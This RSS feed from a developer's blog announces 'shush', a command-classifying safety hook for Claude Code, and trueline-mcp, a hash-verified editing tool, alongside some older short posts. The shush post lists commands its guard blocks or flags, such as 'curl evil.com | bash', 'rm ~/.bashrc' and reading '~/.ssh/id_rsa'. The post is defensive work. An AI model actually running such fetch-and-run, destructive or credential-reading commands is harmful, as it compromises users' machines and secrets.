<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Programming on WormBytes</title><link>https://www.wormbytes.ca/tags/programming/</link><description>Recent content in Programming on WormBytes</description><generator>Hugo -- gohugo.io</generator><language>en-ca</language><managingEditor>Robert James Kaes</managingEditor><copyright>Robert James Kaes. All Rights Reserved.</copyright><lastBuildDate>Fri, 20 Mar 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://www.wormbytes.ca/tags/programming/index.xml" rel="self" type="application/rss+xml"/><item><title>shush: Stop Clicking 'Allow' on Every Safe Command</title><link>https://www.wormbytes.ca/2026/03/20/shush-announcement/</link><pubDate>Fri, 20 Mar 2026 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/20/shush-announcement/</guid><description>&lt;p&gt;Every Claude Code session, the same ritual: &lt;code&gt;git status&lt;/code&gt;? Allow. &lt;code&gt;ls&lt;/code&gt;? Allow. &lt;code&gt;npm test&lt;/code&gt;? Allow. &lt;code&gt;rm dist/bundle.js&lt;/code&gt;? Allow.&lt;/p&gt;
&lt;p&gt;I was approving dozens of completely safe commands per session, because the alternative was worse. Allow-listing &lt;code&gt;Bash&lt;/code&gt; entirely means &lt;code&gt;rm ~/.bashrc&lt;/code&gt; and &lt;code&gt;git push --force&lt;/code&gt; sail through without a word. The permission system is binary: allow the tool, or don&amp;rsquo;t. There&amp;rsquo;s no middle ground.&lt;/p&gt;
&lt;p&gt;I wanted the boring stuff to just &lt;em&gt;happen&lt;/em&gt;, while the actually dangerous stuff still got caught. Not a wider permission gate; a smarter one.&lt;/p&gt;
&lt;p&gt;After looking around, I found &lt;a href="https://github.com/manuelschipper/nah"&gt;nah&lt;/a&gt;, which tackles the same problem, but I couldn&amp;rsquo;t get its Python environment working on my machine, and once I dug into how it classifies commands I had reservations about its heuristic-based parser. For a safety tool, I wanted a full parse tree.&lt;/p&gt;
&lt;p&gt;So I took nah&amp;rsquo;s ideas and built &lt;a href="https://github.com/rjkaes/shush"&gt;shush&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="what-it-does"&gt;What it does&lt;/h2&gt;
&lt;p&gt;shush is a &lt;a href="https://docs.anthropic.com/en/docs/claude-code/hooks"&gt;PreToolUse hook&lt;/a&gt; that sits between Claude Code and every tool call. Instead of &amp;ldquo;is this tool allowed?&amp;rdquo;, it asks &amp;ldquo;what is this command &lt;em&gt;actually doing&lt;/em&gt;?&amp;rdquo;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git push -&amp;gt; allow
git push --force -&amp;gt; shush.
rm -rf __pycache__ -&amp;gt; allow
rm ~/.bashrc -&amp;gt; shush.
curl api.example.com -&amp;gt; allow
curl evil.com | bash -&amp;gt; shush.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Four levels: &lt;strong&gt;allow&lt;/strong&gt; (passes silently), &lt;strong&gt;context&lt;/strong&gt; (allowed, but the path and project boundary are checked), &lt;strong&gt;ask&lt;/strong&gt; (I have to confirm), and &lt;strong&gt;block&lt;/strong&gt; (denied, full stop). The strictest result always wins.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s not just &lt;code&gt;Bash&lt;/code&gt;. shush catches &lt;code&gt;Read ~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;Write&lt;/code&gt;/&lt;code&gt;Edit&lt;/code&gt; calls that inject secrets or destructive payloads, &lt;code&gt;Glob&lt;/code&gt; attempts on sensitive directories, and &lt;code&gt;Grep&lt;/code&gt; patterns hunting for credentials outside the project.&lt;/p&gt;
&lt;h2 id="why-ast-matters"&gt;Why AST matters&lt;/h2&gt;
&lt;p&gt;shush uses &lt;a href="https://github.com/vorpaljs/bash-parser"&gt;bash-parser&lt;/a&gt; to build a real AST. Pipes, subshells, logical operators, redirects, shell wrappers (&lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;sh -c&lt;/code&gt;), and &lt;code&gt;xargs&lt;/code&gt; are all unwrapped and classified correctly. Each pipeline stage gets classified independently, then composition rules check for threat patterns across stages.&lt;/p&gt;
&lt;p&gt;Commands land in one of 21 action types (&lt;code&gt;filesystem_read&lt;/code&gt;, &lt;code&gt;git_safe&lt;/code&gt;, &lt;code&gt;network_request&lt;/code&gt;, &lt;code&gt;docker_manage&lt;/code&gt;, etc.), each with a default policy. A prefix trie (1,173 entries) gives fast lookup with no runtime I/O. Flag-level classifiers handle the nuance: &lt;code&gt;git push&lt;/code&gt; is safe, &lt;code&gt;git push --force&lt;/code&gt; is not.&lt;/p&gt;
&lt;p&gt;No LLMs in the loop. Every decision is deterministic and traceable.&lt;/p&gt;
&lt;h2 id="the-result"&gt;The result&lt;/h2&gt;
&lt;p&gt;I allow-list &lt;code&gt;Bash&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt;, and &lt;code&gt;Grep&lt;/code&gt; in Claude Code&amp;rsquo;s permissions and let shush guard them. The flow of a session is &lt;em&gt;so much better&lt;/em&gt;. Safe commands execute silently. Dangerous ones get caught. I only get interrupted for the genuinely ambiguous cases.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s configurable (global &lt;code&gt;~/.config/shush/config.yaml&lt;/code&gt;, per-project &lt;code&gt;.shush.yaml&lt;/code&gt;), but the defaults are tuned so most people won&amp;rsquo;t need to touch anything.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin marketplace add rjkaes/shush
/plugin install shush
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two commands. No configuration. The code is on GitHub: &lt;a href="https://github.com/rjkaes/shush"&gt;rjkaes/shush&lt;/a&gt;. Apache-2.0, TypeScript, built with &lt;a href="https://bun.sh"&gt;Bun&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>trueline-mcp v2: Now For Everyone, Not Just Claude Code</title><link>https://www.wormbytes.ca/2026/03/06/trueline-v2-announcement/</link><pubDate>Fri, 06 Mar 2026 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/06/trueline-v2-announcement/</guid><description>&lt;p&gt;Two days ago I &lt;a href="https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/"&gt;announced trueline-mcp&lt;/a&gt;, hash-verified, token-efficient file editing for Claude Code.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been using it to build new features and performance improvements. It
works great!&lt;/p&gt;
&lt;p&gt;But it only worked with Claude Code, and the MCP protocol doesn&amp;rsquo;t care which agent is on the other end of the pipe.&lt;/p&gt;
&lt;p&gt;So I made it work everywhere.&lt;/p&gt;
&lt;h2 id="five-platforms-one-tool"&gt;Five platforms, one tool&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline-mcp&lt;/a&gt; v2.0 supports &lt;strong&gt;Gemini CLI&lt;/strong&gt;, &lt;strong&gt;VS Code Copilot&lt;/strong&gt;, &lt;strong&gt;OpenCode&lt;/strong&gt;, and &lt;strong&gt;Codex CLI&lt;/strong&gt; alongside Claude Code. Same hash-verified edits, same token savings, regardless of which agent you&amp;rsquo;re running.&lt;/p&gt;
&lt;p&gt;The hook system got a complete refactoring to make this possible. Platform-specific logic (tool names, response shapes, event naming) is isolated into thin wrappers around a shared core. A universal CLI dispatcher normalizes everything:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;trueline-hook &amp;lt;platform&amp;gt; &amp;lt;event&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gemini calls its pre-tool event &lt;code&gt;beforetool&lt;/code&gt;. Claude Code calls it &lt;code&gt;pretooluse&lt;/code&gt;. The dispatcher routes both to the same verification logic.&lt;/p&gt;
&lt;p&gt;Each platform gets its own instruction file tuned to that agent&amp;rsquo;s built-in tool names. The &lt;code&gt;read_file&lt;/code&gt; → &lt;code&gt;trueline_read&lt;/code&gt; redirect that makes sense for Gemini CLI would be nonsensical for Claude Code&amp;rsquo;s &lt;code&gt;Read&lt;/code&gt; tool. These details matter when you&amp;rsquo;re intercepting tool calls.&lt;/p&gt;
&lt;p&gt;You can also install it from npm now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;npm install -g trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="trueline_outline-skip-reading-entirely"&gt;&lt;code&gt;trueline_outline&lt;/code&gt;: skip reading entirely!&lt;/h2&gt;
&lt;p&gt;v1.1 added a fourth tool: &lt;code&gt;trueline_outline&lt;/code&gt;. It uses tree-sitter (via WASM) to extract the structural skeleton of a file (functions, classes, types, interfaces) without reading the source. Think of it as a table of contents.&lt;/p&gt;
&lt;p&gt;For navigation and understanding, that&amp;rsquo;s usually &lt;em&gt;enough&lt;/em&gt;. The agent doesn&amp;rsquo;t need to read 400 lines of a file to find the function it wants to edit. It outlines the file, identifies the 15-line range, reads just those lines, and edits. That&amp;rsquo;s a ~95% token reduction on the read side for the common case.&lt;/p&gt;
&lt;p&gt;Supported languages: TypeScript, JavaScript, Python, Rust, Go, Java, C, C++, C#, Ruby, Swift, and more.&lt;/p&gt;
&lt;h2 id="smarter-hook-less-friction"&gt;Smarter hook, less friction&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;PreToolUse&lt;/code&gt; hook that blocks the built-in Edit tool used to be a blunt instrument. It blocked &lt;em&gt;every&lt;/em&gt; edit attempt and redirected to trueline. Problem is, trueline can&amp;rsquo;t access every file. If a file is outside the allowed directories or matches a deny pattern, the block just caused a confusing failure.&lt;/p&gt;
&lt;p&gt;Now the hook checks whether trueline actually has access to the target file before blocking. If it doesn&amp;rsquo;t, the built-in tool is allowed through. Same security boundary, fewer dead ends.&lt;/p&gt;
&lt;h2 id="performance"&gt;Performance&lt;/h2&gt;
&lt;p&gt;Two targeted optimizations in the hot paths:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read path&lt;/strong&gt; — Pre-computed a static lookup table for hash encoding (replacing per-line &lt;code&gt;String.fromCharCode&lt;/code&gt; calls) and switched to buffer-based output assembly. Lines stay as raw &lt;code&gt;Buffer&lt;/code&gt; bytes through the loop with a single decode at the end.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit path&lt;/strong&gt; — Pass-through lines (the vast majority in any edit) were being hashed twice: once for checksum verification, once for the output file. Now they reuse the first hash.&lt;/p&gt;
&lt;p&gt;The diff engine also got replaced. The old &lt;code&gt;diff&lt;/code&gt; npm dependency compared two full file snapshots in memory. The new &lt;code&gt;DiffCollector&lt;/code&gt; builds unified diffs incrementally during the streaming edit pass. One fewer dependency, no full-file buffering.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;p&gt;If you&amp;rsquo;re on Claude Code and already have trueline installed, update to the latest:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin install trueline-mcp@trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;re new, or on a different platform, setup instructions for all five platforms are in &lt;a href="https://github.com/rjkaes/trueline-mcp/blob/main/INSTALL.md"&gt;INSTALL.md&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The core is solid. The edit verification, streaming architecture, and token savings work the same across all platforms now. If you&amp;rsquo;re burning tokens on string-matched edits, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;give it a shot&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Claude Code's Edit Tool Wastes Your Most Expensive Tokens. Here's a Fix.</title><link>https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/</link><pubDate>Wed, 04 Mar 2026 15:32:47 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/</guid><description>&lt;p&gt;You&amp;rsquo;re deep into a Claude Code session. The agent is humming along, editing files, and making progress.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And quietly bleeding money on every single edit.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s why. The built-in &lt;code&gt;Edit&lt;/code&gt; tool uses string matching. To change five lines of code, the model has to echo back those exact five lines as &lt;code&gt;old_string&lt;/code&gt;, then provide the replacement as &lt;code&gt;new_string&lt;/code&gt;. That echoed text is pure overhead: it&amp;rsquo;s already in the file. The model is spending output tokens, the &lt;strong&gt;most expensive token class&lt;/strong&gt;, just to point at code and say &amp;ldquo;I mean &lt;em&gt;this&lt;/em&gt; part.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;For a typical 15-line edit, that&amp;rsquo;s &lt;strong&gt;~200 wasted output tokens&lt;/strong&gt;. Do a few dozen edits in a session (not unusual for any real feature work) and you&amp;rsquo;re burning serious money on text the model already knows is there.&lt;/p&gt;
&lt;p&gt;It gets worse when something goes wrong. If the file changed since the agent last read it (maybe you saved in your editor, maybe another tool touched it) the string match fails. The model hallucinating a character or two has the same effect. Either way, the edit errors out, the agent re-reads the whole file to get back in sync, and you&amp;rsquo;ve just paid for all that content &lt;em&gt;again&lt;/em&gt;. In longer sessions, these re-reads compound.&lt;/p&gt;
&lt;p&gt;I got tired of watching this happen, so I built &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline-mcp&lt;/a&gt; to fix both problems.&lt;/p&gt;
&lt;h2 id="the-token-tax-on-every-edit"&gt;The token tax on every edit&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s look at what&amp;rsquo;s actually happening. Here&amp;rsquo;s the built-in &lt;code&gt;Edit&lt;/code&gt; under the hood. The model has to echo the old text just to locate the change:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="background-color:#f8f8f8;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;file_path&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;src/server.ts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;old_string&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n validate(body);\n return process(body);\n}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;new_string&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n const parsed = schema.parse(body);\n return process(parsed);\n}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See all that duplicated text? &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; replaces it with a compact line-range reference:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="background-color:#f8f8f8;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;file_path&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;src/server.ts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;edits&amp;#34;&lt;/span&gt;: [{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;checksum&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;1-50:a3b1c2d4&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;range&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;12:kf..16:qz&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n const parsed = schema.parse(body);\n return process(parsed);\n}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The model never echoes the old text. It says which lines to replace, proves it read them correctly, and provides the new content. ~200 fewer output tokens per edit, on the most expensive token class.&lt;/p&gt;
&lt;p&gt;Oh, and there&amp;rsquo;s a fun gotcha with the built-in tool: if &lt;code&gt;old_string&lt;/code&gt; appears more than once in the file, the edit fails. The model has to pad in extra context lines until the match is unique. Yet more wasted tokens. &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; addresses lines directly. No ambiguity, no padding.&lt;/p&gt;
&lt;h2 id="every-edit-is-verified-against-reality"&gt;Every edit is verified against reality&lt;/h2&gt;
&lt;p&gt;The same mechanism that saves tokens is what makes edits reliable. When the agent reads a file through &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt;, every line comes back tagged with a short hash:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1:bx|import { Server } from &amp;#34;@modelcontextprotocol/sdk/server/index.js&amp;#34;;
2:dd|
3:ew|const server = new Server({ name: &amp;#34;trueline-mcp&amp;#34;, version: &amp;#34;0.1.0&amp;#34; });
checksum: 1-3:8a64a3f7
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When the agent wants to edit, it echoes those hashes back. If the file changed since the read the hashes won&amp;rsquo;t match and the edit is &lt;strong&gt;rejected before it touches disk&lt;/strong&gt;. No silent corruption, no guessing, no &amp;ldquo;why does this file look wrong?&amp;rdquo; twenty minutes later.&lt;/p&gt;
&lt;p&gt;This is the part that kills the re-read cycle. Instead of the agent discovering a stale match, failing, re-reading the whole file, and trying again, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; catches the mismatch immediately and tells the agent exactly what&amp;rsquo;s wrong. One targeted re-read of the changed range, and it&amp;rsquo;s back on track.&lt;/p&gt;
&lt;p&gt;Multiple edits to the same file go through in a single call too, each independently verified. The built-in &lt;code&gt;Edit&lt;/code&gt; handles one replacement per call, so &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; cuts tool-call overhead for multi-site changes.&lt;/p&gt;
&lt;h2 id="three-tools-zero-config"&gt;Three tools, zero config&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_read&lt;/code&gt;&lt;/strong&gt; — reads a file, tags each line with a hash, returns a range checksum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_edit&lt;/code&gt;&lt;/strong&gt; — verifies hashes, then applies the edit atomically. Supports multiple edits per call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_diff&lt;/code&gt;&lt;/strong&gt; — same verification, but outputs a unified diff without touching disk. Good for previewing changes before committing to them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once installed, a &lt;code&gt;SessionStart&lt;/code&gt; hook nudges the agent toward the &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; tools, and a &lt;code&gt;PreToolUse&lt;/code&gt; hook blocks the built-in &lt;code&gt;Edit&lt;/code&gt; tool so it can&amp;rsquo;t fall back to string matching. You don&amp;rsquo;t have to think about it—the agent uses verified edits from the start, automatically.&lt;/p&gt;
&lt;p&gt;Security-wise, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; enforces the same deny patterns Claude Code uses (&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;*.key&lt;/code&gt;, etc.)&lt;/p&gt;
&lt;h2 id="try-it"&gt;Try it&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin marketplace add rjkaes/trueline-mcp
/plugin install trueline-mcp@trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two commands. Your next Claude Code session will use hash-verified edits automatically. No configuration, no changes to your workflow. Fewer wasted tokens and edits that don&amp;rsquo;t silently corrupt your code.&lt;/p&gt;
&lt;h2 id="prior-art"&gt;Prior art&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blog.can.ac/2026/02/12/the-harness-problem/"&gt;Can Boluk&lt;/a&gt; described the underlying problem (AI agents working against stale state) and &lt;a href="https://github.com/sethml/vscode-hashline-edit-tool"&gt;Seth Livingston&lt;/a&gt; built a hash-line edit tool for VS Code. &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; brings the same idea to Claude Code as an &lt;a href="https://modelcontextprotocol.io/"&gt;MCP&lt;/a&gt; plugin.&lt;/p&gt;
&lt;p&gt;The code is on GitHub: &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;rjkaes/trueline-mcp&lt;/a&gt;. Apache-2.0, TypeScript, built with &lt;a href="https://bun.sh"&gt;Bun&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>The Biggest Lie in AI</title><link>https://www.wormbytes.ca/2025/10/29/the-biggest-lie-in-ai/</link><pubDate>Wed, 29 Oct 2025 09:12:07 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2025/10/29/the-biggest-lie-in-ai/</guid><description>&lt;p&gt;Carl from &lt;a href="https://www.youtube.com/@InternetOfBugs"&gt;The Internet of Bugs&lt;/a&gt; made
a great video about &lt;a href="https://youtu.be/0Plo-zT8W9w?si=IUS8X4zPmpNCK7pw"&gt;The Biggest Lie in
A.I.&lt;/a&gt;&lt;/p&gt;
&lt;iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/0Plo-zT8W9w?si=OjVnuTcPTLICmsRV" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;A.I. companies repeat the claim that &amp;ldquo;this is the worst A.I. will ever be&amp;rdquo; and
that&amp;rsquo;s simply not true. As Carl notes in the video, with the release of
ChatGPT-5, it&amp;rsquo;s clear that it&amp;rsquo;s not an across the board improvement over
ChatGPT-4.5.&lt;/p&gt;
&lt;p&gt;Hardware tends to improve over time: gets faster, does more in parallel.&lt;/p&gt;
&lt;p&gt;But LLMs are software, and software doesn&amp;rsquo;t have that track record.&lt;/p&gt;
&lt;p&gt;As the old saying goes: &lt;a href="https://fixquotes.com/quotes/grove-giveth-and-gates-taketh-away-157830.htm"&gt;&amp;ldquo;Grove giveth and Gates taketh
away.&amp;rdquo;&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Seventeen Years and a Million Lines of Code</title><link>https://www.wormbytes.ca/2022/05/03/seventeen-years-and-a-million-lines-of-code/</link><pubDate>Tue, 03 May 2022 11:36:29 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2022/05/03/seventeen-years-and-a-million-lines-of-code/</guid><description>&lt;p&gt;I was looking at my old development projects recently when I noticed that &lt;em&gt;all&lt;/em&gt; of them predate
2005. In 2005, I started work at &lt;a href="https://www.ePublishing.com/"&gt;ePublishing&lt;/a&gt;
as a &lt;a href="https://www.perl.org/"&gt;Perl&lt;/a&gt; developer. In the past 17 years I&amp;rsquo;ve been:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;a href="https://www.ruby-lang.org/en/"&gt;Ruby&lt;/a&gt; and &lt;a href="https://rubyonrails.org/"&gt;Rails&lt;/a&gt; developer&lt;/li&gt;
&lt;li&gt;VP of Software Engineering&lt;/li&gt;
&lt;li&gt;Chief Software Architect&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In all that time, I&amp;rsquo;ve written hundreds of thousands of lines of code (maybe more
than a million), but it&amp;rsquo;s locked away.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a bit depressing that almost two-decades of creativity is
forever hidden from view. It&amp;rsquo;s the curse of corporate development: we can
write blogs, give talks, and prepare papers, but we can&amp;rsquo;t show the code
itself. All anyone sees are &lt;a href="https://en.wikipedia.org/wiki/Allegory_of_the_cave"&gt;shadows on the wall&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;More companies should release their source code. Most
of what we write is not &lt;a href="https://www.collinsdictionary.com/dictionary/english/crown-jewel"&gt;the company&amp;rsquo;s crown
jewels&lt;/a&gt;.
Let people see how you solved that weird 3rd-party integration! Or how you
monitor some obscure open-source service.&lt;/p&gt;
&lt;p&gt;Every company is standing on a mountain of
&lt;a href="https://opensource.com/resources/what-open-source"&gt;open-source&lt;/a&gt; code. Give
back and let
your developers have the opportunity to show off!&lt;/p&gt;</description></item><item><title>Gem Home for Fish Shell</title><link>https://www.wormbytes.ca/2018/04/30/gem-home-for-fish-shell/</link><pubDate>Mon, 30 Apr 2018 15:58:06 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2018/04/30/gem-home-for-fish-shell/</guid><description>&lt;p&gt;In a recent &lt;a href="https://www.twitch.tv/garybernhardt"&gt;twitch stream&lt;/a&gt;,
&lt;a href="https://twitter.com/garybernhardt"&gt;Gary Bernhardt&lt;/a&gt; showed a bit of
behind-the-scenes in how he prepares his development environment for recording
a screencast.&lt;/p&gt;
&lt;p&gt;One of the tools he showed in passing was
&lt;a href="https://github.com/postmodern/gem_home"&gt;&lt;code&gt;gem_home&lt;/code&gt;&lt;/a&gt; by
&lt;a href="https://postmodern.github.io/"&gt;Hal Brodigan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gem_home&lt;/code&gt; is a simple script that manipulates
&lt;a href="https://www.ruby-lang.org/"&gt;Ruby&amp;rsquo;s&lt;/a&gt; &lt;code&gt;GEM_HOME&lt;/code&gt; and &lt;code&gt;GEM_PATH&lt;/code&gt; environmental
variables in order to keep separate ruby gem locations.&lt;/p&gt;
&lt;p&gt;By using &lt;code&gt;gem_home&lt;/code&gt;, there is no longer a requirement to prefix all ruby
commands with &lt;code&gt;bundle exec&lt;/code&gt;. All the gems for a project are local to the
project, which eliminates conflicts that might arise when gems for multiple
projects are mixed together in one location.&lt;/p&gt;
&lt;p&gt;Eliminating the need for &lt;code&gt;bundle exec&lt;/code&gt; allows commands such as &lt;code&gt;rspec&lt;/code&gt; to
execute &lt;em&gt;much&lt;/em&gt; quicker!&lt;/p&gt;
&lt;p&gt;Unfortunately for me, I recently switched over to using
&lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt; from &lt;a href="https://www.zsh.org/"&gt;ZSH&lt;/a&gt;. Hal&amp;rsquo;s &lt;code&gt;gem_home&lt;/code&gt; only supports
&lt;a href="https://www.gnu.org/software/bash/"&gt;Bash&lt;/a&gt; and &lt;a href="https://www.zsh.org/"&gt;ZSH&lt;/a&gt;. 🙁&lt;/p&gt;
&lt;p&gt;One nice thing about &lt;code&gt;gem_home&lt;/code&gt; is how simple and straightforward it is. In a
few hours I was able to replicate its functionality as a &lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt; compatible
script!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/rjkaes/gem_home"&gt;https://github.com/rjkaes/gem_home&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&amp;rsquo;re using ruby and &lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt;, I would highly recommend using my
implementation of &lt;code&gt;gem_home&lt;/code&gt; along with
&lt;a href="https://github.com/JeanMertz/"&gt;Jean Mertz&amp;rsquo;s&lt;/a&gt;
wrapper around &lt;a href="https://github.com/JeanMertz/chruby-fish"&gt;chruby&lt;/a&gt;. Both of
these play well together.&lt;/p&gt;</description></item><item><title>Writing Code Like a Mathematical Proof</title><link>https://www.wormbytes.ca/link-post/writing-code-like-a-mathematical-proof/</link><pubDate>Tue, 12 Dec 2017 12:04:12 -0500</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/link-post/writing-code-like-a-mathematical-proof/</guid><description>&lt;p&gt;&lt;a href="https://hackernoon.com/@spiside"&gt;Spiro Sideris&lt;/a&gt; writes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To write understandable code, always ask the question of who your audience is. What level of experience do they have? What are the prerequisites they should know before reading this function? There are even differences in the semantics between programming languages, so knowing the best practices, and the language coding style, will ensure you are writing readable code for developers in that language.&lt;/p&gt;
&lt;/blockquote&gt;
